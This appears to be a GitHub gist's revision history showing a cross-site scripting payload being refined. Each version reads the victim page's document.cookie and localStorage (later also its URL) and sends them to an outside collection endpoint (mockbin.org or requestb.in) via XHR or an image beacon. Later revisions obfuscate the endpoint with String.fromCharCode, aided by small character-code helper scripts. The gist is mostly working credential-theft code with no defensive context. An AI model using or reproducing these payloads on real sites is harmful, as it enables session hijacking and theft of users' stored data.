Last active
November 8, 2015 04:13
-
-
Save dhilipsiva/11e385403416e43cc1e3 to your computer and use it in GitHub Desktop.
Revisions
-
dhilipsiva revised this gist
Nov 8, 2015 . 2 changed files with 8 additions and 5 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,5 +0,0 @@ This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,8 @@ var chr, codes, i, len, str; str = "text"; codes = []; for (i = 0, len = str.length; i < len; i++) { chr = str[i]; codes.push(chr.charCodeAt(0)); } console.log(codes); -
dhilipsiva revised this gist
Nov 8, 2015 . 1 changed file with 2 additions and 2 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,5 +1,5 @@ str = "Hello CoffeeScript!" codes = [] for chr in str codes.push chr.charCodeAt 0 console.log codes -
dhilipsiva revised this gist
Nov 8, 2015 . 4 changed files with 11 additions and 5 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,5 @@ str = "Hello CoffeeScript!" codes = [] for chr in str codes.push chr.charCodeAt(0) console.log(codes) This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,5 @@ u = String.fromCharCode.apply this, [] d = document i = d.createElement "img" i.src = "#{u}?c=#{d.cookie}&l=#{escape location.toString()}&ls=#{JSON.stringify localStorage }" d.body.appendChild i This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,4 +0,0 @@ This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1 +1 @@ var d,i,u;u=String.fromCharCode.apply(this,[]),d=document,i=d.createElement("img"),i.src=u+"?c="+d.cookie+"&l="+escape(location.toString())+"&ls="+JSON.stringify(localStorage),d.body.appendChild(i); -
dhilipsiva revised this gist
Aug 30, 2015 . 2 changed files with 5 additions and 17 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,17 +1,4 @@ u = "http://requestb.in/rtky3yrt" d = document i = d.createElement("img") i.src = u + "?c=" + d.cookie + "&l=" + JSON.stringify(localStorage); This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1 @@ u="http://requestb.in/rtky3yrt",d=document,i=d.createElement("img"),i.src=u+"?c="+d.cookie+"&l="+JSON.stringify(localStorage); -
dhilipsiva created this gist
Aug 30, 2015 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,17 @@ var data = "localStorage=" + JSON.stringify(localStorage); var xhr = new XMLHttpRequest(); xhr.withCredentials = true; xhr.addEventListener("readystatechange", function () { if (this.readyState === this.DONE) { console.log(this.responseText); } }); xhr.open("POST", "http://mockbin.org/bin/2e29e021-eb0f-450f-9ece-6793c8a73b6f"); xhr.setRequestHeader("cookie", document.cookie); xhr.setRequestHeader("accept", "application/json"); xhr.setRequestHeader("content-type", "application/x-www-form-urlencoded"); xhr.send(data);